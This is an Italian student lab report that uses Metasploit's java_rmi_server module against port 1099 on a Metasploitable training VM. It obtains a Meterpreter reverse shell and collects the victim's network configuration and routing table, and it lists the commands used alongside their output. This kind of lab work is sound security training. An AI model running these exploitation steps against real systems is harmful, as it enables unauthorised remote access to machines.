

Progetto S7/L5

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI.

Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP:
192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP:
192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
 - 1) configurazione di rete.
 - 2) informazioni sulla tabella di routing della macchina vittima.



Metasploitable - Metasploit - Meterpreter

Metasploitable è una macchina virtuale costruita da zero con un gran numero di vulnerabilità di sicurezza. È destinata ad essere utilizzata come bersaglio per testare gli exploit con Metasploit.

Metasploit è un framework di penetration testing e di sviluppo di exploit open source utilizzato per testare la sicurezza delle reti. Fornisce una vasta gamma di strumenti per lo sviluppo, il test e l'esecuzione di exploit su sistemi target, consentendo agli esperti di sicurezza di valutare la robustezza delle difese di una rete. Metasploit è ampiamente utilizzato nella sicurezza informatica per condurre test di penetrazione, identificare vulnerabilità e migliorare la sicurezza globale dei sistemi informativi.

Meterpreter è un payload del framework Metasploit che fornisce una shell remota avanzata su un sistema target compromesso. È progettato per consentire agli operatori di sicurezza di eseguire una serie di attività in modo furtivo e persistente. Meterpreter offre una vasta gamma di funzionalità, tra cui l'accesso al sistema file, il controllo del sistema, il caricamento di moduli aggiuntivi, il bypassare le restrizioni di sicurezza e molto altro.

Ricerca vulnerabilità

Sulla nostra macchina vittima e' presente una vulnerabilità denominata Java RMI sulla porta 1099. Per poter attaccare la macchina vittima, prendiamo uso del tool metasploit per cercare un exploit per questa vulnerabilità.

Una volta individuato lo selezioniamo e andiamo a configurare l'IP della macchina da attaccare

Per verificare se questa vulnerabilità' esiste sulla porta 1099 della macchina vittima eseguo una scansione tramite il tool nmap

NMAP : potente tool per scansionare la rete

```
msf6 > search java rmi
```

```
Matching Modules
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce	2019-05-22	excellent	Yes	Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
1	exploit/multi/misc/java_jmx_server	2013-05-22	excellent	Yes	Java JMX Server Insecure Configuration Java Code Execution
2	auxiliary/scanner/misc/java_jmx_server	2013-05-22	normal	No	Java JMX Server Insecure Endpoint Code Execution Scanner
3	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
4	exploit/multi/misc/java_rmi_server		excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
5	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
6	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation
7	exploit/multi/browser/java_signed_applet	1997-02-19	excellent	No	Java Signed Applet Social Engineering Code Execution
8	exploit/multi/http/jenkins_metaprogramming	2019-01-08	excellent	Yes	Jenkins ACL Bypass and Metaprogramming RCE
9	exploit/linux/misc/jenkins_java_deserialize	2015-11-18	excellent	Yes	Jenkins CLI RMI Java Deserialization Vulnerability
10	exploit/linux/http/kibana_timelion_prototype_pollution_rce	2019-10-30	manual	Yes	Kibana Timelion Prototype Pollution RCE
11	exploit/multi/browser/firefox_xpi_bootstrapped_addon	2007-06-27	excellent	No	Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
12	exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315	2023-05-26	excellent	Yes	Openfire authentication bypass with RCE plugin
13	exploit/multi/http/torchserver_cve_2023_43654	2023-10-03	excellent	Yes	PyTorch Model Server Registration and Deserialization RCE
14	exploit/multi/http/totaljs_cms_widget_exec	2019-08-30	excellent	Yes	Total.js CMS 12 Widget JavaScript Code Injection
15	exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc	2021-09-21	manual	Yes	VMware vCenter vScalation Priv Esc

```
msf6 > use 4
```

```
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.11.112
```

```
RHOST => 192.168.11.112
```

Risultato

Lanciamo l'exploit in modo tale da avviare una sessione Meterpreter, ed avere così una shell che ci permette di svolgere azioni all'interno della macchina vittima e andiamo ad estrarre le informazioni richieste : Configurazione di rete - tabella di routing

Ifconfig :
tramite questo comando andiamo ad ottenere la configurazione di rete

```
meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe22:9a88
IPv6 Netmask : ::

meterpreter > █
```

```
meterpreter > route
```

IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

IPv6 network routes

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe22:9a88	::	::		

Route : tramite questo comando andiamo ad ottenere informazioni sulle tabelle di routing